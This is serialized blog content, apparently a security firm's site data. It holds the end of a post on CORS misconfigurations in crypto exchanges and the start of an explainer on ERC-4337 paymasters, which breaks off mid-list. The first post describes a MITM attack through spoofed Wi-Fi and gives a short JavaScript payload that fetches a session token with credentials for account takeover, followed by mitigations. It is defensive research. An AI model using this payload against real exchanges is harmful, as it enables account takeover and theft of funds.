true\n",{"type":25,"tag":201,"props":102798,"children":102799},{"class":203,"line":311},[102800],{"type":25,"tag":201,"props":102801,"children":102802},{},[102803],{"type":31,"value":11821},{"type":25,"tag":40,"props":102805,"children":102807},{"id":102806},"cors-misconfiguration-by-lack-of-tls",[102808],{"type":31,"value":102809},"CORS Misconfiguration by Lack of TLS",{"type":25,"tag":34,"props":102811,"children":102812},{},[102813,102815,102821],{"type":31,"value":102814},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":25,"tag":115,"props":102816,"children":102818},{"className":102817},[],[102819],{"type":31,"value":102820},"exchange.com",{"type":31,"value":102822}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":25,"tag":34,"props":102824,"children":102825},{},[102826],{"type":31,"value":102827},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":25,"tag":18183,"props":102829,"children":102830},{},[102831,102851],{"type":25,"tag":6948,"props":102832,"children":102833},{},[102834,102836,102841,102843,102849],{"type":31,"value":102835},"Chrome --> won't work because cookies are not sent in ",{"type":25,"tag":115,"props":102837,"children":102839},{"className":102838},[],[102840],{"type":31,"value":102761},{"type":31,"value":102842}," --> ",{"type":25,"tag":115,"props":102844,"children":102846},{"className":102845},[],[102847],{"type":31,"value":102848},"https://",{"type":31,"value":102850}," requests, even if same-site",{"type":25,"tag":6948,"props":102852,"children":102853},{},[102854,102856],{"type":31,"value":102855},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":25,"tag":115,"props":102857,"children":102859},{"className":102858},[],[102860],{"type":31,"value":38835},{"type":25,"tag":40,"props":102862,"children":102864},{"id":102863},"exploit-1",[102865],{"type":31,"value":101195},{"type":25,"tag":34,"props":102867,"children":102868},{},[102869],{"type":31,"value":102870},"To exploit it, we must follow some steps:",{"type":25,"tag":6944,"props":102872,"children":102873},{},[102874,102879,102884],{"type":25,"tag":6948,"props":102875,"children":102876},{},[102877],{"type":31,"value":102878},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":25,"tag":6948,"props":102880,"children":102881},{},[102882],{"type":31,"value":102883},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":25,"tag":6948,"props":102885,"children":102886},{},[102887,102889,102894],{"type":31,"value":102888},"Use ",{"type":25,"tag":115,"props":102890,"children":102892},{"className":102891},[],[102893],{"type":31,"value":38835},{"type":31,"value":102895}," with CORS to do something malicious using the victim's account",{"type":25,"tag":34,"props":102897,"children":102898},{},[102899],{"type":31,"value":102900},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":25,"tag":34,"props":102902,"children":102903},{},[102904,102906,102911],{"type":31,"value":102905},"Once the redirect to the ",{"type":25,"tag":115,"props":102907,"children":102909},{"className":102908},[],[102910],{"type":31,"value":102761},{"type":31,"value":102912}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":25,"tag":191,"props":102914,"children":102916},{"className":193,"code":102915,"language":195,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[102917],{"type":25,"tag":115,"props":102918,"children":102919},{"__ignoreMap":7},[102920,102943,102980,102997,103014,103021,103062],{"type":25,"tag":201,"props":102921,"children":102922},{"class":203,"line":204},[102923,102927,102931,102935,102939],{"type":25,"tag":201,"props":102924,"children":102925},{"style":220},[102926],{"type":31,"value":298},{"type":25,"tag":201,"props":102928,"children":102929},{"style":208},[102930],{"type":31,"value":37215},{"type":25,"tag":201,"props":102932,"children":102933},{"style":220},[102934],{"type":31,"value":40767},{"type":25,"tag":201,"props":102936,"children":102937},{"style":208},[102938],{"type":31,"value":390},{"type":25,"tag":201,"props":102940,"children":102941},{"style":220},[102942],{"type":31,"value":327},{"type":25,"tag":201,"props":102944,"children":102945},{"class":203,"line":226},[102946,102950,102955,102959,102963,102967,102971,102976],{"type":25,"tag":201,"props":102947,"children":102948},{"style":208},[102949],{"type":31,"value":9364},{"type":25,"tag":201,"props":102951,"children":102952},{"style":246},[102953],{"type":31,"value":102954}," res",{"type":25,"tag":201,"props":102956,"children":102957},{"style":261},[102958],{"type":31,"value":413},{"type":25,"tag":201,"props":102960,"children":102961},{"style":230},[102962],{"type":31,"value":37281},{"type":25,"tag":201,"props":102964,"children":102965},{"style":214},[102966],{"type":31,"value":1858},{"type":25,"tag":201,"props":102968,"children":102969},{"style":220},[102970],{"type":31,"value":298},{"type":25,"tag":201,"props":102972,"children":102973},{"style":267},[102974],{"type":31,"value":102975},"'https://www.exchange.com/api/session_token'",{"type":25,"tag":201,"props":102977,"children":102978},{"style":220},[102979],{"type":31,"value":49959},{"type":25,"tag":201,"props":102981,"children":102982},{"class":203,"line":278},[102983,102988,102993],{"type":25,"tag":201,"props":102984,"children":102985},{"style":246},[102986],{"type":31,"value":102987},"    credentials:",{"type":25,"tag":201,"props":102989,"children":102990},{"style":267},[102991],{"type":31,"value":102992}," 'include'",{"type":25,"tag":201,"props":102994,"children":102995},{"style":220},[102996],{"type":31,"value":547},{"type":25,"tag":201,"props":102998,"children":102999},{"class":203,"line":311},[103000,103005,103010],{"type":25,"tag":201,"props":103001,"children":103002},{"style":246},[103003],{"type":31,"value":103004},"    method:",{"type":25,"tag":201,"props":103006,"children":103007},{"style":267},[103008],{"type":31,"value":103009}," 'POST'",{"type":25,"tag":201,"props":103011,"children":103012},{"style":220},[103013],{"type":31,"value":547},{"type":25,"tag":201,"props":103015,"children":103016},{"class":203,"line":330},[103017],{"type":25,"tag":201,"props":103018,"children":103019},{"style":220},[103020],{"type":31,"value":99278},{"type":25,"tag":201,"props":103022,"children":103023},{"class":203,"line":397},[103024,103029,103033,103038,103042,103046,103050,103054,103058],{"type":25,"tag":201,"props":103025,"children":103026},{"style":246},[103027],{"type":31,"value":103028},"  console",{"type":25,"tag":201,"props":103030,"children":103031},{"style":220},[103032],{"type":31,"value":80},{"type":25,"tag":201,"props":103034,"children":103035},{"style":214},[103036],{"type":31,"value":103037},"log",{"type":25,"tag":201,"props":103039,"children":103040},{"style":220},[103041],{"type":31,"value":298},{"type":25,"tag":201,"props":103043,"children":103044},{"style":230},[103045],{"type":31,"value":1845},{"type":25,"tag":201,"props":103047,"children":103048},{"style":246},[103049],{"type":31,"value":102954},{"type":25,"tag":201,"props":103051,"children":103052},{"style":220},[103053],{"type":31,"value":80},{"type":25,"tag":201,"props":103055,"children":103056},{"style":214},[103057],{"type":31,"value":2933},{"type":25,"tag":201,"props":103059,"children":103060},{"style":220},[103061],{"type":31,"value":16921},{"type":25,"tag":201,"props":103063,"children":103064},{"class":203,"line":437},[103065],{"type":25,"tag":201,"props":103066,"children":103067},{"style":220},[103068],{"type":31,"value":103069},"})();\n",{"type":25,"tag":34,"props":103071,"children":103072},{},[103073],{"type":31,"value":103074},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":25,"tag":40,"props":103076,"children":103077},{"id":41404},[103078],{"type":31,"value":41407},{"type":25,"tag":34,"props":103080,"children":103081},{},[103082,103084,103089],{"type":31,"value":103083},"As mitigation, it is recommended to remove all ",{"type":25,"tag":115,"props":103085,"children":103087},{"className":103086},[],[103088],{"type":31,"value":102761},{"type":31,"value":103090}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":25,"tag":34,"props":103092,"children":103093},{},[103094],{"type":31,"value":103095},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":25,"tag":26,"props":103097,"children":103098},{"id":4323},[103099],{"type":31,"value":4326},{"type":25,"tag":34,"props":103101,"children":103102},{},[103103],{"type":31,"value":103104},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":25,"tag":34,"props":103106,"children":103107},{},[103108],{"type":31,"value":103109},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":25,"tag":4349,"props":103111,"children":103112},{},[103113],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":103115},[103116,103121,103126],{"id":100800,"depth":226,"text":100803,"children":103117},[103118,103119,103120],{"id":100811,"depth":278,"text":100814},{"id":101168,"depth":278,"text":101171},{"id":102731,"depth":278,"text":102734},{"id":102742,"depth":226,"text":102745,"children":103122},[103123,103124,103125],{"id":102806,"depth":278,"text":102809},{"id":102863,"depth":278,"text":101195},{"id":41404,"depth":278,"text":41407},{"id":4323,"depth":226,"text":4326},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":103131,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":103132,"description":103133,"date":103134,"author":103135,"image":103136,"isFeatured":17,"onBlogPage":17,"tags":103138,"body":103141,"_type":4371,"_id":108913,"_source":4373,"_file":108914,"_stem":108915,"_extension":4376},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":103137,"width":98352,"height":15},"/posts/paymasters-evm/title.png",[103139,103140],"evm","ERC-4337",{"type":22,"children":103142,"toc":108892},[103143,103147,103158,103163,103168,103173,103179,103185,103190,103195,103201,103206,103234,103240,103245,103252,103257,103267,103272,103298,103304,103324,103330,103350,103358,103389,103422,103431,103443,103468,103480,103493,103536,103542,103575,103674,103693,103716,103721,103727,103755,103902,103907,103934,103940,103952,103964,103973,104008,104013,105498,105526,105547,105552,105564,105573,105578,105596,105619,105624,105630,105684,105690,105723,105758,106582,106618,106654,106720,106753,107251,107304,107316,107880,107949,107976,108598,108640,108667,108679,108740,108759,108793,108798,108803,108808,108812,108817,108852,108878,108883,108888],{"type":25,"tag":4321,"props":103144,"children":103145},{"id":28},[103146],{"type":31,"value":32},{"type":25,"tag":34,"props":103148,"children":103149},{},[103150,103156],{"type":25,"tag":71,"props":103151,"children":103154},{"href":103152,"rel":103153},"https://docs.erc4337.io/",[75],[103155],{"type":31,"value":103140},{"type":31,"value":103157}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":25,"tag":34,"props":103159,"children":103160},{},[103161],{"type":31,"value":103162},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":25,"tag":34,"props":103164,"children":103165},{},[103166],{"type":31,"value":103167},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":25,"tag":34,"props":103169,"children":103170},{},[103171],{"type":31,"value":103172},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":25,"tag":4321,"props":103174,"children":103176},{"id":103175},"erc4337-overview",[103177],{"type":31,"value":103178},"ERC4337 Overview",{"type":25,"tag":26,"props":103180,"children":103182},{"id":103181},"traditional-eoas-vs-smart-contract-wallets",[103183],{"type":31,"value":103184},"Traditional EOAs vs Smart Contract Wallets",{"type":25,"tag":34,"props":103186,"children":103187},{},[103188],{"type":31,"value":103189},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":25,"tag":34,"props":103191,"children":103192},{},[103193],{"type":31,"value":103194},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":25,"tag":26,"props":103196,"children":103198},{"id":103197},"why-erc4337-was-introduced",[103199],{"type":31,"value":103200},"Why ERC‑4337 Was Introduced",{"type":25,"tag":34,"props":103202,"children":103203},{},[103204],{"type":31,"value":103205},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":25,"tag":18183,"props":103207,"children":103208},{},[103209,103214,103219,103224,103229],{"type":25,"tag":6948,"props":103210,"children":103211},{},[103212],{"type":31,"value":103213},"User recovery for lost keys (e.g. social recovery)",{"type":25,"tag":6948,"props":103215,"children":103216},{},[103217],{"type":31,"value":103218},"Batched or atomic multi-step operations in one flow",{"type":25,"tag":6948,"props":103220,"children":103221},{},[103222],{"type":31,"value":103223},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":25,"tag":6948,"props":103225,"children":103226},{},[103227],{"type":31,"value":103228},"Using custom signature schemes or multisig logic",{"type":25,"tag":6948,"props":103230,"children":103231},{},[103232],{"type":31,"value":103233},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":25,"tag":26,"props":103235,"children":103237},{"id":103236},"how-erc-4337-works",[103238],{"type":31,"value":103239},"How ERC-4337 Works",{"type":25,"tag":34,"props":103241,"children":103242},{},[103243],{"type":31,"value":103244},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":25,"tag":34,"props":103246,"children":103247},{},[103248],{"type":25,"tag":127,"props":103249,"children":103251},{"alt":51656,"src":103250},"/posts/paymasters-evm/flowchart.png",[],{"type":25,"tag":34,"props":103253,"children":103254},{},[103255],{"type":31,"value":103256},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":25,"tag":40,"props":103258,"children":103260},{"id":103259},"useroperation",[103261],{"type":25,"tag":115,"props":103262,"children":103264},{"className":103263},[],[103265],{"type":31,"value":103266},"UserOperation",{"type":25,"tag":34,"props":103268,"children":103269},{},[103270],{"type":31,"value":103271},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":25,"tag":18183,"props":103273,"children":103274},{},[103275,103280,103285],{"type":25,"tag":6948,"props":103276,"children":103277},{},[103278],{"type":31,"value":103279},"Target contract call(s)",{"type":25,"tag":6948,"props":103281,"children":103282},{},[103283],{"type":31,"value":103284},"Signature or validation metadata",{"type":25,"tag":6948,"props":103286,"children":103287},{},[103288,103290,103296],{"type":31,"value":103289},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":25,"tag":115,"props":103291,"children":103293},{"className":103292},[],[103294],{"type":31,"value":103295},"UserOperations",{"type":31,"value":103297}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":25,"tag":40,"props":103299,"children":103301},{"id":103300},"smart-contract-account",[103302],{"type":31,"value":103303},"Smart Contract Account",{"type":25,"tag":34,"props":103305,"children":103306},{},[103307,103309,103315,103316,103322],{"type":31,"value":103308},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":25,"tag":115,"props":103310,"children":103312},{"className":103311},[],[103313],{"type":31,"value":103314},"validateUserOp()",{"type":31,"value":12493},{"type":25,"tag":115,"props":103317,"children":103319},{"className":103318},[],[103320],{"type":31,"value":103321},"executeUserOp()",{"type":31,"value":103323},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":25,"tag":40,"props":103325,"children":103327},{"id":103326},"bundler",[103328],{"type":31,"value":103329},"Bundler",{"type":25,"tag":34,"props":103331,"children":103332},{},[103333,103335,103340,103342,103348],{"type":31,"value":103334},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":25,"tag":115,"props":103336,"children":103338},{"className":103337},[],[103339],{"type":31,"value":103295},{"type":31,"value":103341},", packages them, and submits them in a single transaction to the ",{"type":25,"tag":115,"props":103343,"children":103345},{"className":103344},[],[103346],{"type":31,"value":103347},"EntryPoint",{"type":31,"value":103349}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":25,"tag":40,"props":103351,"children":103352},{"id":16224},[103353],{"type":25,"tag":115,"props":103354,"children":103356},{"className":103355},[],[103357],{"type":31,"value":103347},{"type":25,"tag":34,"props":103359,"children":103360},{},[103361,103362,103367,103369,103374,103376,103380,103382,103387],{"type":31,"value":18109},{"type":25,"tag":115,"props":103363,"children":103365},{"className":103364},[],[103366],{"type":31,"value":103347},{"type":31,"value":103368}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":25,"tag":115,"props":103370,"children":103372},{"className":103371},[],[103373],{"type":31,"value":103295},{"type":31,"value":103375}," submitted by a ",{"type":25,"tag":1252,"props":103377,"children":103378},{},[103379],{"type":31,"value":103329},{"type":31,"value":103381},", the ",{"type":25,"tag":115,"props":103383,"children":103385},{"className":103384},[],[103386],{"type":31,"value":103347},{"type":31,"value":103388}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":25,"tag":34,"props":103390,"children":103391},{},[103392,103394,103399,103401,103405,103407,103412,103414,103420],{"type":31,"value":103393},"Once all operations have been processed, the ",{"type":25,"tag":115,"props":103395,"children":103397},{"className":103396},[],[103398],{"type":31,"value":103347},{"type":31,"value":103400}," calculates the total gas consumed and reimburses the ",{"type":25,"tag":1252,"props":103402,"children":103403},{},[103404],{"type":31,"value":103329},{"type":31,"value":103406},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":25,"tag":115,"props":103408,"children":103410},{"className":103409},[],[103411],{"type":31,"value":103347},{"type":31,"value":103413}," or from a ",{"type":25,"tag":115,"props":103415,"children":103417},{"className":103416},[],[103418],{"type":31,"value":103419},"paymaster",{"type":31,"value":103421}," that has agreed to sponsor the transaction.",{"type":25,"tag":40,"props":103423,"children":103424},{"id":103419},[103425],{"type":25,"tag":115,"props":103426,"children":103428},{"className":103427},[],[103429],{"type":31,"value":103430},"Paymaster",{"type":25,"tag":34,"props":103432,"children":103433},{},[103434,103436,103441],{"type":31,"value":103435},"A ",{"type":25,"tag":115,"props":103437,"children":103439},{"className":103438},[],[103440],{"type":31,"value":103419},{"type":31,"value":103442}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":25,"tag":18183,"props":103444,"children":103445},{},[103446,103457],{"type":25,"tag":6948,"props":103447,"children":103448},{},[103449,103455],{"type":25,"tag":115,"props":103450,"children":103452},{"className":103451},[],[103453],{"type":31,"value":103454},"validatePaymasterUserOp()",{"type":31,"value":103456}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":25,"tag":6948,"props":103458,"children":103459},{},[103460,103466],{"type":25,"tag":115,"props":103461,"children":103463},{"className":103462},[],[103464],{"type":31,"value":103465},"postOp()",{"type":31,"value":103467},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":25,"tag":34,"props":103469,"children":103470},{},[103471,103473,103478],{"type":31,"value":103472},"By supporting both sponsorship and token-based gas payments, ",{"type":25,"tag":115,"props":103474,"children":103476},{"className":103475},[],[103477],{"type":31,"value":103419},{"type":31,"value":103479}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":25,"tag":26,"props":103481,"children":103483},{"id":103482},"understanding-the-entrypoints-flow",[103484,103486,103491],{"type":31,"value":103485},"Understanding the ",{"type":25,"tag":115,"props":103487,"children":103489},{"className":103488},[],[103490],{"type":31,"value":103347},{"type":31,"value":103492},"'s Flow",{"type":25,"tag":34,"props":103494,"children":103495},{},[103496,103498,103503,103504,103509,103511,103522,103524,103529,103530,103535],{"type":31,"value":103497},"When a bundler submits ",{"type":25,"tag":115,"props":103499,"children":103501},{"className":103500},[],[103502],{"type":31,"value":103295},{"type":31,"value":17907},{"type":25,"tag":115,"props":103505,"children":103507},{"className":103506},[],[103508],{"type":31,"value":103347},{"type":31,"value":103510}," contract via ",{"type":25,"tag":71,"props":103512,"children":103515},{"href":103513,"rel":103514},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[75],[103516],{"type":25,"tag":115,"props":103517,"children":103519},{"className":103518},[],[103520],{"type":31,"value":103521},"handleOps()",{"type":31,"value":103523},", the processing occurs in two main phases: ",{"type":25,"tag":1252,"props":103525,"children":103526},{},[103527],{"type":31,"value":103528},"Validation",{"type":31,"value":12493},{"type":25,"tag":1252,"props":103531,"children":103532},{},[103533],{"type":31,"value":103534},"Execution",{"type":31,"value":80},{"type":25,"tag":40,"props":103537,"children":103539},{"id":103538},"validation-phase",[103540],{"type":31,"value":103541},"Validation Phase",{"type":25,"tag":34,"props":103543,"children":103544},{},[103545,103547,103552,103554,103560,103562,103568,103569,103574],{"type":31,"value":103546},"In this phase, the ",{"type":25,"tag":115,"props":103548,"children":103550},{"className":103549},[],[103551],{"type":31,"value":103347},{"type":31,"value":103553}," first validates all operations in the submitted ",{"type":25,"tag":115,"props":103555,"children":103557},{"className":103556},[],[103558],{"type":31,"value":103559},"UserOps",{"type":31,"value":103561}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":25,"tag":115,"props":103563,"children":103565},{"className":103564},[],[103566],{"type":31,"value":103567},"UserOp",{"type":31,"value":103381},{"type":25,"tag":115,"props":103570,"children":103572},{"className":103571},[],[103573],{"type":31,"value":103347},{"type":31,"value":5997},{"type":25,"tag":6944,"props":103576,"children":103577},{},[103578,103596,103614,103635,103647],{"type":25,"tag":6948,"props":103579,"children":103580},{},[103581,103588,103590],{"type":25,"tag":71,"props":103582,"children":103585},{"href":103583,"rel":103584},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[75],[103586],{"type":31,"value":103587},"Calculates",{"type":31,"value":103589}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":25,"tag":115,"props":103591,"children":103593},{"className":103592},[],[103594],{"type":31,"value":103595},"maxFeePerGas",{"type":25,"tag":6948,"props":103597,"children":103598},{},[103599,103606,103607,103612],{"type":25,"tag":71,"props":103600,"children":103603},{"href":103601,"rel":103602},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[75],[103604],{"type":31,"value":103605},"Calls",{"type":31,"value":7966},{"type":25,"tag":115,"props":103608,"children":103610},{"className":103609},[],[103611],{"type":31,"value":103314},{"type":31,"value":103613}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":25,"tag":6948,"props":103615,"children":103616},{},[103617,103619,103626,103628,103633],{"type":31,"value":103618},"If no paymaster is specified, attempts to ",{"type":25,"tag":71,"props":103620,"children":103623},{"href":103621,"rel":103622},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[75],[103624],{"type":31,"value":103625},"deduct",{"type":31,"value":103627}," the prefund amount from the sender's ETH deposit in the ",{"type":25,"tag":115,"props":103629,"children":103631},{"className":103630},[],[103632],{"type":31,"value":103347},{"type":31,"value":103634}," (this can be partially refunded later if actual execution costs less)",{"type":25,"tag":6948,"props":103636,"children":103637},{},[103638,103645],{"type":25,"tag":71,"props":103639,"children":103642},{"href":103640,"rel":103641},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[75],[103643],{"type":31,"value":103644},"Validates",{"type":31,"value":103646}," the nonce to prevent replay attacks",{"type":25,"tag":6948,"props":103648,"children":103649},{},[103650,103652,103658,103660,103666,103667,103672],{"type":31,"value":103651},"If a paymaster is specified, it will ",{"type":25,"tag":71,"props":103653,"children":103656},{"href":103654,"rel":103655},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[75],[103657],{"type":31,"value":103625},{"type":31,"value":103659}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":25,"tag":71,"props":103661,"children":103664},{"href":103662,"rel":103663},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[75],[103665],{"type":31,"value":39366},{"type":31,"value":7966},{"type":25,"tag":115,"props":103668,"children":103670},{"className":103669},[],[103671],{"type":31,"value":103454},{"type":31,"value":103673}," on the paymaster contract to verify it will cover gas costs",{"type":25,"tag":34,"props":103675,"children":103676},{},[103677,103679,103684,103686,103691],{"type":31,"value":103678},"Only after all these validation checks pass will the ",{"type":25,"tag":115,"props":103680,"children":103682},{"className":103681},[],[103683],{"type":31,"value":103347},{"type":31,"value":103685}," move on to actually executing the ",{"type":25,"tag":115,"props":103687,"children":103689},{"className":103688},[],[103690],{"type":31,"value":103266},{"type":31,"value":103692},". This strict validation flow ensures that:",{"type":25,"tag":18183,"props":103694,"children":103695},{},[103696,103701,103706,103711],{"type":25,"tag":6948,"props":103697,"children":103698},{},[103699],{"type":31,"value":103700},"The operation is legitimate and authorized by the user",{"type":25,"tag":6948,"props":103702,"children":103703},{},[103704],{"type":31,"value":103705},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":25,"tag":6948,"props":103707,"children":103708},{},[103709],{"type":31,"value":103710},"The operation cannot be replayed",{"type":25,"tag":6948,"props":103712,"children":103713},{},[103714],{"type":31,"value":103715},"All involved contracts (sender and paymaster) have approved the execution",{"type":25,"tag":34,"props":103717,"children":103718},{},[103719],{"type":31,"value":103720},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":25,"tag":40,"props":103722,"children":103724},{"id":103723},"execution-phase",[103725],{"type":31,"value":103726},"Execution Phase",{"type":25,"tag":34,"props":103728,"children":103729},{},[103730,103732,103737,103739,103746,103748,103753],{"type":31,"value":103731},"After all operations have passed validation, the ",{"type":25,"tag":115,"props":103733,"children":103735},{"className":103734},[],[103736],{"type":31,"value":103347},{"type":31,"value":103738}," begins the ",{"type":25,"tag":71,"props":103740,"children":103743},{"href":103741,"rel":103742},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[75],[103744],{"type":31,"value":103745},"execution",{"type":31,"value":103747}," phase, processing each ",{"type":25,"tag":115,"props":103749,"children":103751},{"className":103750},[],[103752],{"type":31,"value":103266},{"type":31,"value":103754}," individually. For each operation, the flow is:",{"type":25,"tag":6944,"props":103756,"children":103757},{},[103758,103818,103864],{"type":25,"tag":6948,"props":103759,"children":103760},{},[103761,103762,103767,103769,103775,103776,103782,103784],{"type":31,"value":18109},{"type":25,"tag":115,"props":103763,"children":103765},{"className":103764},[],[103766],{"type":31,"value":103347},{"type":31,"value":103768}," makes a ",{"type":25,"tag":71,"props":103770,"children":103773},{"href":103771,"rel":103772},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[75],[103774],{"type":31,"value":39366},{"type":31,"value":57855},{"type":25,"tag":115,"props":103777,"children":103779},{"className":103778},[],[103780],{"type":31,"value":103781},"innerHandleOp()",{"type":31,"value":103783},", which:\n",{"type":25,"tag":18183,"props":103785,"children":103786},{},[103787,103799,103804],{"type":25,"tag":6948,"props":103788,"children":103789},{},[103790,103797],{"type":25,"tag":71,"props":103791,"children":103794},{"href":103792,"rel":103793},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[75],[103795],{"type":31,"value":103796},"Forwards",{"type":31,"value":103798}," the operation to the sender's smart account contract",{"type":25,"tag":6948,"props":103800,"children":103801},{},[103802],{"type":31,"value":103803},"Executes the intended transaction(s) within the smart account",{"type":25,"tag":6948,"props":103805,"children":103806},{},[103807,103809,103816],{"type":31,"value":103808},"Handles ",{"type":25,"tag":71,"props":103810,"children":103813},{"href":103811,"rel":103812},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[75],[103814],{"type":31,"value":103815},"post-execution",{"type":31,"value":103817}," tasks and cleanup",{"type":25,"tag":6948,"props":103819,"children":103820},{},[103821,103823,103829,103831,103837,103838,103844,103846],{"type":31,"value":103822},"If a paymaster was used, ",{"type":25,"tag":115,"props":103824,"children":103826},{"className":103825},[],[103827],{"type":31,"value":103828},"Entrypoint",{"type":31,"value":103830}," will ",{"type":25,"tag":71,"props":103832,"children":103835},{"href":103833,"rel":103834},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[75],[103836],{"type":31,"value":39366},{"type":31,"value":7966},{"type":25,"tag":115,"props":103839,"children":103841},{"className":103840},[],[103842],{"type":31,"value":103843},"paymaster.postOp()",{"type":31,"value":103845}," to:\n",{"type":25,"tag":18183,"props":103847,"children":103848},{},[103849,103854,103859],{"type":25,"tag":6948,"props":103850,"children":103851},{},[103852],{"type":31,"value":103853},"Allow paymaster to finalize its 